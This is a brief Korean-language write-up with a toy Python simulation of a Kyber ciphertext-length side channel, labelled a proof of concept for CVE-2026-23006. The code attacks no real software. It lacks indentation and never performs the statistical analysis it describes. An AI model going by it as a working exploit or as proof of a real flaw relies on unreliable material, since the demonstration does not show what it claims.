
CVE-2026-23006에 대한 Python PoC로, 가변 길이 출력의 통계적 분석을 통해 비밀 키 비트를 유출하는 Kyber 암호문 길이 부채널을 시연합니다.
# kyber_length_leak.py - Leaks secret key bit based on ciphertext length
import random
# Simulate encapsulation: ciphertext length depends on message bit
def encapsulate(pk, bit):
# In a flawed implementation, the ciphertext size varies based on a secret bit
if bit:
return b'\x00' * 800 # long ciphertext
else:
return b'\x00' * 768 # short ciphertext
# Attacker observes lengths
lengths = []
for _ in range(100):
ct = encapsulate(None, random.randint(0,1))
lengths.append(len(ct))
# Histogram reveals two clusters -> secret bit leakage
print("Ciphertext lengths leak secret bit.")
Kyber 키 캡슐화 메커니즘의 결함 있는 구현은 공유 비밀의 비밀 비트 값에 따라 길이가 서로 다른 암호문을 생성합니다. 공격자는 다수의 암호문 길이를 측정하고 통계적 분석을 통해 해당 비트를 복구할 수 있습니다.
시뮬레이션을 실행합니다:
python kyber_length_leak.py
두 개의 뚜렷한 길이 클러스터가 관찰됩니다.